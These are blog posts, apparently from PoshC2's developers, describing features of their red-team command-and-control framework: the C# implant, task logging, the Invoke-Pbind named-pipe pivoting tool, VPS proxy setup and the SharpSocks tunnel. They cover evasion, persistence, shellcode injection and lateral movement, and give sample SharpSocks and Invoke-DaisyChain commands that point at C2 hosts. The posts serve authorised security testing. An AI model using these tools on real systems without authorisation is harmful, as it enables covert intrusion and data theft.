Posts

Introducing PoshC2 v4.8 – includes C# dropper, task management and more! – Part One

/0 Comments/in , /by

We recently released version 4.8 of PoshC2, which includes a number of fixes and improvements that help facilitate simulated attacks. This is the first post in a series of posts that will include some of the details around the fixes and updates, alongside a number of other posts which will show some of the other cool features we have been working on in the background.

C Sharp (#)

As of PoshC2 version 4.6, a C# implant has been available. The main driver behind this implementation was to stay clear of System.Management.Automation.dll when an environment is heavily monitored and the EDR product can detect loaded modules inside a running process. Granted, not all EDR products are currently doing this, as it can create a hit on performance at the endpoint level, but its important to understand the OPSEC implications of running different C2 droppers.

This has been a work in progress since the release and is continually improving, and we believe this will be the way forward in months to come against advanced blue teams with a good detection and response capability across the organisation. Currently the implant is fully functional and allows an operator to load any C# assembly and execute this in the running process. This allows the user to extend the functionality massively because they’re able to load all the great modules out there in the wild, created by other infosec authors. The way this is loaded uses the System.Reflection namespace. The code can then be called using .NET reflection, which searches inside the current AppDomain for the assembly name and attempts to either run the entry point given or the main method of the executable. An example usage is as follows, for both run-exe and run-dll:

run-exe:

run-dll:

Task Management

One of the issues we’ve overcome in this release was around tracking tasks; there was no way to determine what output related to which issued command. This was largely due to the implant not using task ID’s that were tracked throughout the entire command process flow.

Typically, this was fine because you know what command you’re running, but when multiple people are working on the same instance, or if multiple similar commands are run, then it could be difficult to figure out what output came from which command. This also made tracking failed commands fairly difficult if not impossible to find. The following screenshots shows the output inside the C2Server and the CompletedTasks HTML file:

Figure 1: How commands were issued and returned against an implant

Figure 2: The old format of the tasks report

Furthermore, tasks were only logged in the database when the implant responded with some output. Now, tasks are inserted as soon as they are picked up by the implant with a start time, and updated with a completed time and the desired output when they return. This allows us to track tasks even if they kill the implant or error and never return, and to see how long they took. It also allows us to reference tasks by ID, allowing us to match them in the C2Server log and to only refer to the task by its ID in the response, decreasing message length and improving operational security. An example of the output is shown below:

Figure 3: The new task logging

The generated report then looks like this:

Figure 4: The new report format

User Logging

The astute amongst you will have noticed the new User column in the report above. Another improvement that has been made in relation to tracking tasks is user logging. Now when you start the ImplantHandler you are prompted for a username; it is possible to leave this blank if required, but when PoshC2 is being used as a centralised C2Server with multiple users it’s important to track which user ran which task as shown in the examples below:

Figure 5: You are now prompted for a username when you start the ImplantHandler

All tasks issued from that ImplantHandler instance will be logged as that user, both in the C2Server log and in the report.

Figure 6: If a username is set it is logged in the task output

Figure 7: The username is also logged for the task in the report

For scripting and/or ease of use, the ImplantHandler can also be started with the -u or --user option, which sets the username, avoiding the prompt:

python ImplantHandler.py --user "bobby b"

Beacon Timing

The way beacon sleep times were handled was inconsistent amongst implants, so now we’ve standardised it. All beacon times must now be in the format of value and unit, such as 5m, 10s or 2h. This is then displayed as such for all implant types in the ImplantHandler. As seen below, the fourth column states the current beacon time in seconds, whereas now we show only the output in the newer format.

Figure 8: The old beacon time format

Figure 9: The new beacon time format

Validation has also been added for these, so attempting to set an invalid beacon time will print a suitable error message and do nothing.

Figure 10: The validation message if an invalid format is set

We’ve also changed the implant colour coding so that they are only flagged as timing out if they haven’t checked in for a multiple of their beacon time, as opposed to a hard coded value.

Previously the implants would be coloured as yellow if they hadn’t checked in for 10 minutes or more, and red for 60 minutes or more. Now they are coloured yellow if they have not checked in for 3x beacon time, and red for 10x beacon time, granting far more accurate and timely feedback to the operator.

Figure 11: Implant colour coding has been improved so that the colour is dependent on the beacon time

C2Viewer

The C2Viewer was a legacy script used to just print the C2Server log, useful when multiple people want to be able to view and manipulate the output independently.

There were a few issues with the implementation however, and there was a possibility that it would miss output as it polled the database. Additionally, as this was an additional script, it added maintenance headaches for updates to task output.

This file has now been removed, and instead if you want to view the output in the same way, we recommend that you run the C2Server and pipe it to a log file. You can print the log to stdout and a log file using tee:

python -u C2Server.py | tee -a /var/log/poshc2_server.log

This output can then be viewed and manipulated by anyone, such as by using tail:

tail -f -n 50 /var/log/poshc2_server.log

This method has the added benefit of storing all server output. While all relevant data is stored in the database, having a backup of the output actually seen in the log during usage can be extremely useful.

Further details can be found in the README.md.

Internal Refactoring

We’re also making strides to improve the internals for PoshC2, refactoring files for clarity, and cutting cyclic dependencies. We aim to modularise the entire code base in order to make it more accessible and easier to maintain, including making changes, but as this is a sizeable change we’ll be doing it incrementally to limit the impact.

Conclusion

There have been quite a few changes made, and we’re aiming to not only improve the technical capabilities of PoshC2, but also the usability and maintainability.

Naturally, any changes come with a risk of breaking things no matter how thorough the testing, so please report any issues found on the GitHub page at: https://github.com/nettitude/PoshC2.

The full list of changes is below, but as always keep an eye out on the changelog as we update this with any changes for each version to make tracking easier. This is the first blog of a series of blogs on some additional features and capability within PoshC2. Stay tuned for more information.

  • Insert tasks when first picked up by the implant with start time
  • Update task when response returned with output and completed time
  • Log task ID in task sent/received
  • Add ability to set username and associate username to tasks issued
  • Print user in task information when the username is not empty
  • Improved error handling and logging
  • Rename CompletedTasks table to Tasks table
  • Method name refactoring around above changes
  • Pull out implant cores into Implant-Core.py/.cs/.ps1
  • Rename 2nd stage cores into Stage2-Core.py/.ps1
  • Stage2-Core.ps1 (previously Implant-Core.ps1 ) is no longer flagged by AMSI
  • Use prepared statements in the DB
  • Refactoring work to start to break up dependency cycle
  • Rename DB to Database in Config.py to avoid name clashes
  • Pull some dependency-less functions into Utils.py to aid dependency management
  • Fix download-file so that if the same file is downloaded multiple times it gets downloaded to name-1.ext name-2.ext etc
  • Adjust user/host printing to always be domain\username @ hostname in implants & logs
  • Fix CreateRawBase payload creation, used in gzip powershell stager and commands like get-system
  • Added ImplantID to Tasks table as a foreign key, so it’s logged in the Tasks report
  • Added Testing.md for testing checklist/methodology
  • Fix Get-ScreenshotAllWindows to return correct file extension
  • Fix searchhelp for commands with caps
  • Implant timeout highlighting is now based on beacon time – yellow if it’s not checked in for 3x beacon time and red if not checked in for 10x beacon time
  • Setting and viewing beacon time is now consistent across config and implant types – always 50s/10m/1h format
  • Added validation for beacon time that it matches the correct format
  • Fix StartAnotherImplant command for python implant
  • Rename RandomURI column in html output to Context, and print it as domain\username @ hostname
  • Move service instructions to readme so that poshc2.service can just be copied to /lib/systemd/system
  • Removed C2Viewer.py and added instructions for same functionality to readme just using system commands

Extending C2 Lateral Movement – Invoke-Pbind

/0 Comments/in , /by

Invoke-Pbind is a mini post exploitation framework written in PowerShell, which builds C2 communications over SMB named pipes using a push rather than a pull mechanism. Pbind was initially created to overcome lateral movement problems, specifically in restricted environments where the server VLAN could not directly talk to the user VLAN (as it should be in every environment). The tool was designed to be integrated with any C2 framework or run as a standalone PowerShell script.

Video Demonstration

If you just want to skip to the video tutorial, then you can find that here and at the end of this post.

The Problem: Segregation and Strict Firewalling

This is useful when you have compromised an organisation and have C2 comms over HTTPS, traversing the corporate proxy server out of the network from user’s workstations, but the target dataset that you are looking to obtain is located down server VLAN with a firewall restricting both inbound and outbound traffic. In that scenario, firewall rules are always going to allow for specific traffic to traverse over pre-approved services. The following diagram illustrates one such situation, where the environment allows limited services from the user VLAN to the server VLAN, but allows no ports in the reverse direction.

What options exist for C2 comms

The following are some options for C2 comms and their mitigations, resulting in failure.

Method Mitigation Result
Direct Internet Access Blocked by Firewall Outbound Fail
Traverse Through HTTP Proxy Blocked by Firewall Outbound Fail
TCP Reverse Shell Blocked or likely detected scanning for open ports Fail
TCP Bind Shell Blocked by Firewall Inbound or service running on open ports, no closed ports detected Fail
ICMP Blocked by Firewall Outbound Fail
Daisy over SMB in User VLAN TCP port 445 blocked from servers to workstations Fail
Daisy over HTTP in User VLAN Same as standard reverse all blocked ports Fail
DNS Authoritive DNS is only permitted by the Proxy server, thus not possible for C2 comms from the server VLAN. Fail

To be clear, at this point the problem isn’t about getting execution, it’s about having reliable C2 comms that afford the user output for all commands executed and to use the implant as a foothold or staging point to further attacks against servers in the restricted environment.

The Solution

“A named pipe is a logical connection, similar to a Transmission Control Protocol (TCP) session, between the client and server that are involved in the CIFS/SMB connection. The name of the pipe serves as the endpoint for the communication, in the same manner as a port number serves as the endpoint for TCP sessions. This is called a named pipe endpoint.” – https://msdn.microsoft.com/en-us/library/cc239733.aspx.

.NET has a class for creating and interacting with named pipes:

Where TCP port 445 is open into a server environment, we can overlay the SMB protocol and use a named pipe to share data between the workstation and server, providing a method for exchanging data (comms). The following commands make up the basis of creating a named pipe with an access rule that allows “everyone” access:

Since the days of abusing IPC$ with anonymous access (CVE-199-0519), and RID cycling your way to a plethora of goodies, Microsoft have said “no – though shall not pass” – non Microsoft direct quote. In a domain environment, any user can create a domain authenticated session to the $IPC share, which can then be piggy backed to gain access to the named pipe. Here is a simple script in PowerShell to create an authenticated session. One quick problem to overcome: While the ‘AccessRule’ applied to the pipe may look like it allows “everyone” access to the named pipe, this is not actually the case.

Interacting with a named pipe is also fairly straight forward as long as you know the data type of what is being read; as we create the server we know how to handle to pipe as shown by using a simple StreamReader:

Design

When we came up with Invoke-Pbind, the following principles were implemented.

Client/Server Model

To allow for inclusion in a C2 framework, two script blocks were created, client and server. The server starts and sets up the named pipe on a remote target (server). The client then connects to the named pipe and exchanges messages over TCP port 445 (SMB). The client runs through an existing C2 implant and by using script blocks and run spaces, it is possible to use the client non-interactively for better interaction with most C2 frameworks.

Token Passing

When sharing a common space such as a named pipe, it is imperative that messages exchanged between the client and server are not overwritten prior to being picked up by their counterpart. Control messages are used in combination with TRY and IF statements to create rules for when a client or server should read or write from the named pipe.

Security

During the generation of the script blocks, at run time, a unique key is generated and used to encrypt messages between client and server. Pbind supports AES 256 encryption. To initiate a connection to the named pipe from a client, a shared secret is also supported to stop tampering with the named pipe. If the client does not provide the correct secret, the named pipe will close.

Injection/Execution

There are two main methods included that inject the implant into target hosts. These are modified versions of Invoke-WMIExec and Invoke-SMBExec (credit to Kevin Robertson for these scripts); both scripts have been updated to support passing passwords, where previously they only accepted hashes for authentication. The implant is a self-executing script block that is passed as the payload. The script runs WMIExec by default but contains a switch parameter to invoke SMBExec:

To provide additional deployment flexibility the script also includes an exe method. This method uses CSC and Windows .Net automation DLL to compile the implant into an executable that can then be deployed and executed through any means.

NOTE: Creating a named pipe does not require administrator credentials so the executable can be run as a non-privileged user. On the other hand, WMIExec and SMBExec require administrator privileges.

The exe option continues to generate unique variables that are hardcoded into the executable, for use in cryptography and such like. The exe option can be used offline to create an executable implant and is not tied to an interactive session through a C2. To talk to the implant, the script supports a CLIENT option that is used to interact with a deployed implant, the options for which are provided when the implant is compiled:

This flexibility allows for the deployment through any means:

  • DCOM
  • RDP
  • Shared Folders
  • WinRM
  • SCCM
  • Anything……

There are a number of options that are configurable. If no options are selected, the script reverts to pre-set or randomly generated values. The following options are configurable:

  • KEY – Defaults to a randomly generated AES 256 Key – Allows for a key to be specified, commonly used in client mode.
  • SECRET – Defaults to random 5 character value – Allows for specific secret to be used.
  • PNAME – Defaults to random 8 character value – Allows for specific pipe name to be chosen.
  • TIMEOUT – Defaults to 60 second – Used to change the wait time for the client to connect to the Implant, used in slow networks.
  • EXE – Generates a stand-alone executable;
  • CLIENT – Runs the script in client mode to connect to a deployed Executable;
  • TARGET – used to specify a remote IP Address.
  • Domain/User/Password/Hash – used to provide credentials for authentication.
  • Domain2/User2/Password2 – used to map a drive to the target system, when a hash is being used as the primary authentication mechanism.
  • Dir – used in EXE mode to output the generate executable.
  • Automation – used in EXE mode, directory location of the Automation DLL.

Interaction

There are 3 main functions that have been created to interact with the implant from a client. The first and probably the most useful, especially when we introduce templates, is Pbind-Command. This simply registers a command in a variable that is read in by the client and passed to the implant (server) before being executed. A simple example is shown below:

Pbind-module c:\folder\powerup.ps1The second is Pbind-Module, which allows you to read in any other ps1 file and have it injected into memory on the implanted host. Pbind-Command can then be used to execute any of the functions in the ps1 script. This has a limitation and does not work well within a C2 setup, because all scripts have to be local to the client. In most cases the client is already running on a target workstation and would require all scripts to be uploaded to the client before being sent on to the implant.

Pbind-Squirt was a designed to help resolve the limitations of Pbind-Module. The idea for this function was to embed a number of scripts as base64 objects into the script that can then be called and auto executed into memory on the client. The only one that has been embedded is PowerUp, to assist with asset review on newly implanted hosts.

However, in practice neither Pbind-module nor Pbind-squirt were optimal and instead a new solution was constructed, called ‘Templates’. Effectively this was just a better way to interact with the Pbind-Command function. It was decided that by creating a number of small scripts which can automate tasks, it is possible to carry out similar ideas to Pbind-module and Pbind-squirt. Tasks such uploading mimikatz and extracting passwords, uploading PowerView and running queries or uploading invoke-SMBExec and attacking other machines, can all be scripted using a similar template to the one below:

The best way to see how the script runs is to download the script and have a go. The screenshot below shows a simple example of running the script locally under the context of another user, while also executing commands.

Video Tutorial

We have created a video tutorial to help illustrate the use of Invoke-Pbind.

Download

github GitHub: https://github.com/nettitude/PoshC2/blob/master/Modules/Invoke-Pbind.ps1

Making PoshC2 More Accessible With a $5 VPS

/0 Comments/in , /by

Users may find it difficult to host a PoshC2 server as it requires a Windows host, either directly connected to the Internet or in a position to be NAT’d through a firewall from an Internet facing C2 proxy. In this short post we’re going to show you how you can solve this problem in under 30 minutes with a $5 VPS.

For this to work you will need to create a small VPS from any provider. In this tutorial we’re going to use Digital Ocean, but feel free to use AWS, Azure, Vultr or one of the other providers out there.

First, start by creating a simple $5 per month  Digital Ocean droplet, using Ubuntu 16.04 or similar. The reason we’re using Ubuntu 16.04 is their tutorial for OpenVPN has been developed on this version, and we want to keep it simple. Once you’ve created the droplet, it should look something like this in your Droplets tab:

The next thing we need to do is get the host updated with the latest security patches, so perform an apt-get update and upgrade.

When you’re all up-to-date, we’ll install Apache2 which will be used as both the native web server and the proxy with which to forward all PoshC2 communication traffic through to your Windows host. It is important to note we only want the communications traffic to be forwarded and no other URLs.

To start this off, install apache as per the instructions below and enable the modules to allow proxying with Apache.

  • apt-get install apache2
  • a2enmod ssl
  • a2enmod rewrite
  • a2enmod proxy
  • a2enmod proxy_http
  • a2enmod headers
  • service apache2 restart

Once the default Apache2 install has completed, we find it easier to completely delete all files in the ‘sites-enabled’ and ‘sites-available’ folders of /etc/apache so that we can start from a fresh config, but this is purely an optional thing so do whatever best suits you and your setup. With one config file, we split out the virtual hosts and have both HTTP (port 80) and HTTPS (port 443) in one place.

The file we’re going to create for this postis called proxy.conf and should be located in the sites-available folder – /etc/apache2/sites-available/proxy.conf

The configuration should look something like the one below. Obviously yours may differ slightly if you decide to use multiple ports or have different virtual hosts with multiple names going through the same Apache server. However, to keep things simple, this is the default configuration without the rewrite rules applied.

Enable this site in Apache2 by either creating a symlink or by running this command:

  • a2ensite proxy.conf

This should then create a symlink in the sites-enabled directory as follows:

  • /etc/apache2/sites-enabled/proxy.conf -> /etc/apache2/sites-available/proxy.conf

Once you’re all done, restart your Apache2 service to ensure you have no errors.

  • service apache2 restart

The next thing you need to do is add your PoshC2 Apache Rewrite rules to the configuration.  This is where it can get quite complex depending on what you want the rules to do. As an example, when performing a Red Team engagement, your C2 infrastructure should be sufficiently locked down and should only allow implants from the correct IP address range of the Customer.

To add whitelisting on the C2 proxy, create a file with all the IP addresses that are known to be the client. There is a slight nuance with Apache as you have to add the list like this ( /etc/apache/whitelist):

Once you have the whitelist, you can use a function in the rewrite rules called RewriteMap to add the IP address list, to then use in the rewrite conditions. Here is a simple Rewrite Rule which will take the list above – if this is not found it will not process the rewrite rule. You have to do this for each rewrite rule you want for each URL. In this case we are applying to the /connect path as this is where the implant gets the stager, but if you customize the PoshC2 URLs then this may be different.

To complete the full Apache config, use the link below as a guide, but note you may need to change this for your PoshC2 setup as you customize the URLs for better evasion. Don’t forget that if you do change your URLs when setting up PoshC2 there is a file called apache2.conf in the root directory which created the rewrite rules for you. This does not add a whitelist but you can do this using the above config.

Now we have the Apache2 web server with our rewrite rules, we need to connect our Windows host to the this VPS using OpenVPN. I’m not going to walk through the exact steps to setup OpenVPN as there is a really good step by step guide which should take no more than around 20-30 minutes to follow and setup:

Once you’ve followed the guide to setup OpenVPN on the host in TUN mode, you can drop your client config onto your windows host. The OpenVPN server.conf configuration should look similar to this. This one is hosted over TCP 53 as we have 443 in use by the Apache Web Server.

Next, following the instruction in the Digital Ocean tutorial, create a client configuration file which matches the server settings and key files you setup and download this to your Windows host. Use the following link to install the Windows client, which should add a small icon to the task bar where you can import your configuration file to and connect.

At this point you should be nearly done. Once you get OpenVPN to successfully connect to the VPS, you can provide the Windows IP address in the Apache2 rewrite rules as the PoshC2 server and it will direct all traffic aimed for PoshC2 directly to the host. Remember that with this setup you will need to provide the external IP address or host name of the VPS as the PoshC2 server as shown in the image below – otherwise the payloads and droppers will be created with the wrong C2 server.

Having this kind of setup makes it extremely easy to deploy PoshC2 and should take no more than around 30 minutes of setup to have things fully weaponised and ready to go. Check out the latest updates for PoshC2 v3 from the blog below which induces a socks proxy (SharpSocks) to allow RDP via a HTTPS beacon.

PoshC2 v3 with SOCKS Proxy (SharpSocks)

/0 Comments/in , , /by

OVERVIEW

We’ve been working on quite a few changes since the release of PoshC2 v2, our public Command & Control framework, back in December 2016. In this blog we’ll talk about the top changes and feature improvements. If you want to view all the changes, we’ve now added a CHANGELOG.md to the repository.

Some headline features are:

  • C# reverse HTTPS tunnelling SOCKS proxy (SharpSocks)
  • Daisy implant now supports multi layered pivoting (no limit on hops)
  • Domain fronting for C2 comms
  • C++ reflective DLL, utilising UnmanagedPowershell and PoshC2’s Custom EXE
  • Shellcode generator, utilising @monoxgas‘s new sRDI tool we can generate shellcode on the fly from the Reflective DLL created in C++
  • Stable migration utilising Inject-Shellcode which uses our newly created shellcode
  • New AutoRuns that allow the user to create commands that run when a new implant is initiated
  • Pre/Post Implant Help – The Implant-Handler window now has a pre and post help menu which allows you to do various tasks when you have no implant, such as autoruns
  • A new port scanner module

Changelog:

SHARPSOCKS

One of the most important tools for a red teamer is the SOCKS Proxy. This enables the creation of a tunnel between two machines such that any network traffic forwarded through it appears to have originated from the machine at the end of it. Once a foothold has been gained on a machine, a SOCKS proxy can be deployed between the operators machines and the target in order to access subnets, machines and services that would not normally be directly accessible. This includes being able to RDP to another machine or even to browse the corporate intranet.

SOCKS support is built into most modern browsers and cURL. However, to use tools like rdesktop or nmap, proxychains on Linux can be used to tunnel the traffic. In order to simulate ProxyChains when using Windows, software such as ProxyCap (http://www.proxycap.com/) can be used.

Previously, if tools like PoshC2 or Empire were used to gain a foothold and SOCKS is required then another implant, such as Meterpreter, would have to be deployed in order to provide the ability to tunnel TCP traffic into the internal network. We arrived at the decision that deploying a full implant just for SOCKS support is overkill and while e.g. Meterpreter is very good, it is also can be noisy and is not an appropriate representation of most sophisticated threat actors TTPs. Since PoshC2 is our publicly available C2, we wanted to add this ability for the wider world too, just like we have in our internal tooling.

When started, the implant will connect back via an HTTP request to the specified host. This is known as the command channel.  By default (and this timing can be changed via the --beacon flag in the implant) the server will be contacted every 5 seconds to check if there are any connections that need to be opened or closed on the implant side. Once the command channel has successfully connected for the first time, the SOCKS listener port is opened on the server; this port is what proxychains or proxycap should be configured to connect to.

Once this has started you can then start your web browser or RDP etc. and connect to the internal network. Every time the browser etc. opens a connection to the SOCKS port, a job is queued for the command channel and the implant on the default 5 second timer will connect up check to see if there any new connections that need to be made or closed. If one does need to be opened, this will be then be assigned its own session identifier and traffic will flow and be tunnelled over HTTP/S on separate requests.

A typical usage scenario is shown in the diagram above. A foothold has been gained on a machine with internet access, but only via HTTP/S, and RDP needs to be used to access the RDP Host (credentials for this box have, of course, been obtained). The SharpSocks server is started and so is the implant. Proxychains is then configured by the operator to point to the SOCKS port. Rdesktop is then started and traffic is tunnelled via HTTPS to the implant host, where the connection is then made to the RDP host.

Design Goals

The project originated as a way to provide SOCKS proxy functionality to Nettitude’s PoshC2 project.  The design goals were as follows:

  • Ability to operate as part of another implant or its own separate instance
  • Communication over HTTP/S
  • Minimal CPU/memory load on implanted machine
  • Encrypted transport
  • Configurable locations within a HTTP request for the payload
  • Proxy aware
  • IPv6 support
  • Ease of integration into other projects
  • Easing overriding functionality by a consumer such as encryption or transport method

Usage

The best usage experience for this currently is via PoshC2.

SharpSocks, written by Rob Maslen (@rbmaslen), utilises a C# AssemblyLoad to run a socks4a proxy on the implant, calling back to a server which can be either located on the same PoshC2 instance or on a different host. The most convenient way to deploy this is via the same PoshC2 host, but on a separate port. The comms can be split via the Apache Rewrite rules if you’re using a C2 proxy on the Internet. It may also be a good idea to use a separate host for this traffic as you may have to speed up comms to 1 or 2 second beacons and therefore utilise a separate proxy host, but they can all point back to the same PoshC2 instance in the back end.

The comms URLs for both PoshC2 and SharpSocks can now be fully customised when first setting the server up. These can then be added to an apache.conf file located in the root of the PoshC2 folder.

A sample set of Apache Rules are below:

To deploy SharpSocks all you need to do is run the following command from within a live implant. This will create a new encryption key and subsequent channel and start both the implant and SharpSocks server for you:

SharpSocks -Uri https://www.c2.com:443 -Beacon 2000 -Insecure

Here is a simple video that shows this being used:

This can be used as a standalone program outside of PoshC2 too. The code and PowerShell script can be found below:

The next few sections walk you through using SharpSocks in a standalone manner.

There are two Visual Studio Solutions which build both the server and the implant. These are both built initially as DLL’s, however the solutions also contain projects for executables that wrap the DLLs and allow for testing of the functionality. These exe’s are not designed to be deployed in a production scenario.

The DLLs are designed to be either launched via the test executables or via the helper functions within the DLLs themselves, enabling other usage via other projects/languages. Also included within the binaries directory is also the PowerShell script that is used by PoshC2.

Server App (SharpSocksServerTestApp)

Running the server binary with the --help flag, the following options are listed. In order to launch, the only value that is required is the encryption key.  This should be supplied in Base64; the default algorithm is AES-256.

An example of this running would be the following

This will start the HTTPS server (HTTPS requires that a certificate is installed via netsh) listening on https://c2proxy.on.the.internet. The communications are encrypted via the key NqeEk7h4pe7cJ6YGB/4q3jHZ5kp64xsghwNwjYUFD0g=, the command channel is identified by bc448036-f957-45d9-b0e7-997b4121034f. The session identifier would be transmitted via the ASP.NET_SessionId cookie and smaller payloads via the __RequestVerificationToken cookie.

Server DLL (SharpSocksServerDLL)

Within the SharpSocksServer.dll is a class called SharpSocksServer.Source.Integration.PSSocksServer which contains a single method called CreateSocksController. This method is designed as a static helper to easily enable the creation and starting of the SharpSocksServer. In order to be used, the DLL/Assembly will first need to be loaded the CreateSocksController method called and then the Start method called on the value returned. For usage of this it’s best to look in the PowerShell script included with this project.

Implant Test App (SharpSocksImplantTestApp)

An example:

This will start the implant which will attempt to connect to https://c2proxy.on.the.internet using the system proxy settings. The communications are encrypted via the key NqeEk7h4pe7cJ6YGB/4q3jHZ5kp64xsghwNwjYUFD0g=, the command channel is identified by bc448036-f957-45d9-b0e7-997b4121034f. The session identifier would be transmitted via the ASP.NET_SessionId cookie and smaller payloads via the __RequestVerificationToken cookie. The command channel will attempt to connect every 7.5 seconds to the SharpSocks server.

Implant DLL (SharpSocksImplant.dll)

Within the SharpSocksImplant.dll is a class called SocksProxy.Classes.Integration.PoshCreateProxy which contains a single method called CreateSocksController. This method is designed as a static helper to easily enable the creation and starting of the implant. In order to be used, the DLL/Assembly will first need to be loaded the CreateSocksController method called and then the Start method called on the value returned. As with the SharpSocks Server, as an example of usage of this it’s best to look in the PowerShell script included with this project.

DAISYIMPLANT – PIVOTING IN POSHC2

To enable multi-layered pivoting in PoshC2 we have created a module called Invoke-DaisyChain. This must be run as an administrator on a compromised host within the compromised network. This will essentially create an HTTP proxy server running on the host to transport PoshC2 comms traffic from the internal network out to the PoshC2 instance instead of going direct with CreateProxyPayload.

To start the DaisyChain server, simply run this command with your C2 configuration. Proxy settings are optional as is the domain fronting URL:

Invoke-DaisyChain -name jason -daisyserver http://192.168.1.1 -port 9999 -c2port 443 -c2server https://www.c2domain.com -domfront aaa.cloudfront.net -proxyurl http://10.0.0.1:8080 -proxyuser dom\test -proxypassword pass

This will create a variety of payloads that are specific to this pivot server. Therefore, if you run the new payloads (called ‘jason’ in this instance) it would attempt to connect to the proxy port running on this host, rather than going direct to the Internet. To execute these payloads remotely, you can use any of the lateral execution methods built into PoshC2 or any of your custom lateral movement methods.

There is no limit on the number of times you can pivot into a network. However, if any of the machines in the chain get restarted for any reason, the entire chain will die. This is worth noting when performing pivoting within a network using Daisy Chaining.

DOMAIN FRONTING FOR C2 COMMS

PoshC2 can now use domain fronting for comms. There is a caveat to this; the host must have .NET v4.0.30319 installed and usable to the PowerShell instance. However, if the host does not have this version of the CLR installed it will default back to the underlying CDN hostname, for example cloudfront.net or azureedge.net. The way we perform domain fronting in PoshC2 is by adding the Host header to the web requests.

This is a much stealthier option for comms as you can utilise hostnames with better reputation without needing to buy new domains and obtain reputation yourself. There are many examples of these on the Internet, but as a proof of concept this example uses ‘d0.awsstatic.com’.

PRE-IMPLANT HELP MENU

The new pre-implant help menu allows you to configure various auto-runs, double check the server configuration and make and significant changes to the C2 server. It also allows you to test your configuration by issuing PwnSelf to obtain an implant.

Other commands that can be altered are C2 default beacon time, Clockwork SMS API key and mobile number for text message alerts of new implants.

AUTO-RUNS

We have now implemented the concept of Auto-Runs. This allows the user of PoshC2 to automate various tasks when an implant first comes in. A few use cases of this could be:

  • auto migrate from PowerShell
  • capturing a screenshot for situational awareness
  • install persistence

Essentially, any command that can be issued within PoshC2 can be turned into an Auto-Run.

This menu can be found on the pre-implant help menu. An example of this menu has been shown below:

AUTOMIGRATE-FROMPOWERSHELL (AM)

The auto migrate from PowerShell feature has been added and by default will start another process in netsh.exe unless otherwise stated by the ‘-newprocess’ parameter. This utilises unmanaged PowerShell via the C++ Reflective DLL.

C++ REFLECTIVE DLL

The C++ Reflective Dll utilises the concept from the unmanaged PowerShell code by @tifkin_.

We have created a .NET binary that is loaded by creating an instance of the CLR (v2.0.50727 or v4.0.30319) in runtime and patching the implant over the top when creating a new payload. This is done by creating a blank variable in the C++ code and overwriting the code where 5000 A’s exist. Once compiled we find the location of this code and add the offset to the PatchDLL function as shown below.

In addition, PoshC2 converts the newly created reflective DLL into Shellcode via @monoxgas’s sRDI PowerShell module. This module converts Reflective DLLs into position independent shellcode.

The Reflective DLL and new Shellcode has enabled PoshC2 to be more flexible in its execution and deployment. Many other tools will allow for a reflective DLL or shellcode to be loaded. Take for example, the MS17-010 eternal blue exploit written in Powershell. This exploit takes shellcode as a parameter to execute if the host is successfully exploited; having Shellcode as a payload format allows this to be possible.

Also for migration, we now use either the reflective DLL or the Shellcode to squirt the implant into another process. When first starting PoshC2 it will create both the reflective DLL’s as shown below.

  • Posh_x64.dll
  • Posh_x86.dll

To test these out, they can be called via rundll32:

  • Posh-shellcode_x64.bin
  • Posh-shellcode_x86.bin

To test these out, they can be called via the new Inject-Shellcode script or by using ‘migrate’ in the implant window:

PORTSCANNER

@rbmaslen has created a super fast portscanner written in C# which has been ported to PoshC2 using the AssemblyLoad function rather than AddType. This is not to obfuscate the code at all, but in case you’re not aware the add-type function in PowerShell actually compiles the code on the fly and touches disk in the interim. This is why both the SharpSocks and Portscanner modules have been written to use AssemblyLoad instead.

The port scanner can take various parameters, but mostly we like the fact you can go into ‘super fast’ mode which allows you to set the maximum queries per second (-maxQueriesPS). This is similar to masscan’s rate parameter. This is good when your intention is not to be stealthy and you want to perform quick port scanning against a target. An example has been shown below.

On the other hand, when performing Red Teaming the ultimate aim is usually to be stealthy and we have implemented the option for delaying the portscan. For example, if you set the max queries per second (-maxQueriesPS) to 1 and the delay (-Delay) to 10, it will attempt to connect to each port with a 10 second delay hopefully bypassing any host or network IDS detection. An example of this has been shown below.

CONCLUSION

Go and download the latest version of PoshC2 with SharpSocks and let us know what you think!